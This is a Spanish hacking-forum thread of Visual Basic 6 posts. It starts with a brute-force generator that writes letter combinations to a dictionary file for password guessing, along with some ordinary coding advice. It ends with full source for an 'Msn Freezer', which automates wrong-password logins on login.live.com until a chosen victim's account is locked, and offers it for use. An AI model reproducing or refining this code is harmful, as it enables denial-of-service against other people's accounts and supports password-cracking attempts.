Mensajes

Hola a todos hace poco pregunte como se hacia un Bruteforce en vb6, obtuve diferentes metodos, pero Karcrack me dijo q lo intentara por mi mismo, y asi he hecho!!  :)Les presento mi code para convinar las letras minusculas del abcdario. estuve dandole vueltas, no se si es la forma optima de hacerlo (aunque funciona a la perfeccion), por eso os pido vuestra yuda para mejorarlo y de paso aprender.

Código (vb) [Seleccionar] Expandir


Public Sub BruteForce()
   
   Dim D1, D2, D3, D4, D5, D6, D7, D8 As Integer
   
   D1 = 97: D2 = 97: D3 = 97: D4 = 97: D5 = 97: D6 = 97: D7 = 97: D8 = 97

   Open App.Path & "\midicionario.txt" For Output As #1

digito1:

   If D1 = 123 Then
       D1 = 97
       MsgBox "Combinaciones con un digito completadas", vbInformation
       GoTo digito2
   End If
   Print #1, Chr(D1)
   D1 = D1 + 1
   GoTo digito1

digito2:

   If D1 = 122 And D2 = 123 Then
       D1 = 97: D2 = 97
       MsgBox "Combinaciones con dos digitos completadas", vbInformation
       GoTo digito3
   ElseIf D2 = 123 Then
       D1 = D1 + 1
       D2 = 97
   End If
   Print #1, Chr(D1) & Chr(D2)
   D2 = D2 + 1
   GoTo digito2
   
digito3:
   
   If D1 = 122 And D2 = 122 And D3 = 123 Then
       D1 = 97: D2 = 97: D3 = 97
       MsgBox "Combinaciones con tres digitos completadas", vbInformation
       GoTo digito4
   ElseIf D2 = 122 And D3 = 123 Then
       D2 = 97: D3 = 97
       D1 = D1 + 1
   ElseIf D3 = 123 Then
       D2 = D2 + 1
       D3 = 97
   End If
   Print #1, Chr(D1) & Chr(D2) & Chr(D3)
   D3 = D3 + 1
   GoTo digito3

digito4:

   If D1 = 122 And D2 = 122 And D3 = 122 And D4 = 123 Then
       D1 = 97: D2 = 97: D3 = 97: D4 = 97
       MsgBox "Combinaciones con cuatro digitos completadas", vbInformation
       GoTo fin
   ElseIf D2 = 122 And D3 = 122 And D4 = 123 Then
       D2 = 97: D3 = 97: D4 = 97
       D1 = D1 + 1
   ElseIf D3 = 122 And D4 = 123 Then
       D3 = 97: D4 = 97
       D2 = D2 + 1
   ElseIf D4 = 123 Then
       D4 = 97
       D3 = D3 + 1
   End If
   Print #1, Chr(D1) & Chr(D2) & Chr(D3) & Chr(D4)
   D4 = D4 + 1
   GoTo digito4
   
fin:

   MsgBox "Fin", vbExclamation
   Close #1
   
End Sub


Si no entienden algo no uden en preguntar  

Garcias Karcrack

Estoy trabakando en ello, en unos dias subo el code

Pero el error no t lo va ha dar donde declaras las variables, te lo va dar a la hora de utilizarlas, creo yo...
Ademas, todas son As Single, si te da error en la linea q t puse yo, ya sabes que es As Single lo que has de cambiar.
Y si ya as compilado el programa y sabes q no tiene fallos, entonces ya lo podrias haber simplificado, no??
Creo q estaria bn q subieras el code corregido...

Salu2

Vas a ver mi comentario como uno que no ayuda, pero date cuenta que si te lo hacen no aprenderás.

No Karcrak, entiendo lo q m dices a la perfeccion, me esforzare y lo intentare sacar por mi mismo.
Me podre a ello ahora que ya se por donde tirar...

Gracias a to2!

Gracias BlackZeroX▓▓▒▒░░  , pero creo q no es lo que necesito:

En vez de:

Código (vb) [Seleccionar] Expandir


Call Combinaciones("ABCDEFGHIJKLMNOPQRSTUVWXYZ")

puse:

Código (vb) [Seleccionar] Expandir


Call Combinaciones("ABC")

Y obtuve como resultado en el ListBox esto:

Código [Seleccionar] Expandir


ABC
ACB
BAC
BCA
CAB
CBA

Faltan BBA o BCC por ejemplo, ademas, necesito que sea de 2 digitos y con todas las combinaciones...

Salu2

He observado que tienes varios botones con lo mismo:

Private Sub Command12_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command12.Width = 1000
Command12.Height = 400
End Sub

Private Sub Command14_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command14.Width = 1000
Command14.Height = 400
End Sub

Private Sub Command15_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command15.Width = 1000
Command15.Height = 400
End Sub

Private Sub Command16_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command16.Width = 1000
Command16.Height = 400
End Sub

Puedes ahorrar mucho code de una manera: creando una matriz de controles.

Prueba con algo asi:

Código (vb) [Seleccionar] Expandir


Private Sub Command1_MouseMove(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)

   Command1(Index).Width = 1000
   Command1(Index).Height = 400

End Sub


Saludos  

Dim cant1 As Single 'declara la bariable tipo numerico
Dim cant2 As Single 'declara la bariable tipo numerico
Dim cant3 As Single 'declara la bariable tipo numerico
Dim cant4 As Single 'declara la bariable tipo numerico
Dim cant5 As Single 'declara la bariable tipo numerico
Dim cant6 As Single 'declara la bariable tipo numerico
Dim cant7 As Single 'declara la bariable tipo numerico
Dim cant8 As Single 'declara la bariable tipo numerico
Dim cant9 As Single 'declara la bariable tipo numerico
Dim cant10 As Single 'declara la bariable tipo numerico

Dim precio1 As Single 'declara la bariable tipo numerico
Dim precio2 As Single 'declara la bariable tipo numerico
Dim precio3 As Single 'declara la bariable tipo numerico
Dim precio4 As Single 'declara la bariable tipo numerico
Dim precio5 As Single 'declara la bariable tipo numerico
Dim precio6 As Single 'declara la bariable tipo numerico
Dim precio7 As Single 'declara la bariable tipo numerico
Dim precio8 As Single 'declara la bariable tipo numerico
Dim precio9 As Single 'declara la bariable tipo numerico
Dim precio10 As Single 'declara la bariable tipo numerico

Dim total1 As Single 'declara la bariable tipo numerico
Dim total2 As Single 'declara la bariable tipo numerico
Dim total3 As Single 'declara la bariable tipo numerico
Dim total4 As Single 'declara la bariable tipo numerico
Dim total5 As Single 'declara la bariable tipo numerico
Dim total6 As Single 'declara la bariable tipo numerico
Dim total7 As Single 'declara la bariable tipo numerico
Dim total8 As Single 'declara la bariable tipo numerico
Dim total9 As Single 'declara la bariable tipo numerico
Dim total10 As Single 'declara la bariable tipo numerico

Creo que a la hora de declarar variables tb puedes ahorrar code:

Código (vb) [Seleccionar] Expandir


Dim total1 ,total2 ,total3 ,total4 ,total5 ,total6 ,total7 ,total8 ,total9 ,total10 As Single


Y asi con las demas...

si, exacto

Hola amigos, necesito su ayuda , necesito conbinar todos los caracteres del abecedario de 2 a 6 digitos, algo asi:

Código [Seleccionar] Expandir


aa
ab
ac
ad
...
az
bb
ba
...

Muchas gracias!!!

[*Utilizo componente:]

Hola amigos, os presento este code de un Msn freezer, pero a diferencia de los demas, ahorra mucho codigo y cumple basicamente la misma funcion, generalmente en menos tiempo, no se si esto ya se le habia ocurrido antes a alguien, pero ahi va... Por cierto, las criticas constructivas son bienvenidas!!

*Utilizo componente:

   -Microsoft Internet Controls

*En el formulario agrego:

   -Un Textbox = Text1
   -Un CommandButton = Command1
   -Un WebBrowser = WB

Código (vb) [Seleccionar] Expandir


' ////////////////////////////////////////////////////////////////
' // *Autor: *PsYkE1* (miguelin.majo@gmail.com)                 //
' // *Podeis agrandar o reducir el codigo, siempre y cuando se  //
' // respete la autoria y se me comuniquen esos cambios.        //
' // *Agradecimientos a BlackZeroX.                             //
' // *Visita http://foro.rthacker.net                           //
' ////////////////////////////////////////////////////////////////

Dim Flag As Boolean

Private Sub Command1_Click()
   'Dependiendo del Caption del botón realiza una u otra acción
   If Command1.Caption = "Congelar" Then
       'Si el Text1 esta vacio
       If Text1.Text = "" Then
           Flag = False
           MsgBox "Debes introducir una cuenta", vbCritical, "*PsYkE1* Msn Freezer v1.0"
       Else
           Flag = False
           Text1.Enabled = False
           WB.Navigate ("login.live.com") 'Abro la Web para logearse
           Command1.Caption = "Descongelar"
       End If
   Else
       Text1.Enabled = True
       Command1.Caption = "Congelar"
       WB.Navigate ("") 'Salgo de la Web
       MsgBox "La cuenta " & Text1.Text & " ha sido descongelada", vbInformation, "*PsYkE1* Msn Freezer v1.0"
   End If
End Sub

Private Sub Form_Load()
   Me.Caption = "*PsYkE1* Msn Freezer v1.0" 'Pongo Title al Form
   Command1.Caption = "Congelar" 'Asigno el Caption al botón
   Flag = True 'Activo el interruptor
End Sub

Private Sub WB_DocumentComplete(ByVal pDisp As Object, URL As Variant)
   On Error Resume Next 'Si hay error no lo muestre
   If Flag Then Exit Sub 'Si el interuptor está activado salgo
   With WB
       .Document.All("login").Value = Text1.Text 'Ingreso la cuenta
       .Document.All("passwd").Value = "by*PsYkE1*" 'Pongo una contraseña que no es
       .Document.All("SI").Click 'hago click
   End With
   ' Si encuentro la cadena "demasiadas veces" en el documento del WB...
   If InStr(WB.Document.Body.InnerHtml, "demasiadas veces") Then
       MsgBox "La cuenta : " & Text1.Text & " ha sido bloqueada con éxito!" _
       , vbInformation, "*PsYkE1* Msn Freezer v1.0": Flag = True
   End If
End Sub

Espero que os haya gustado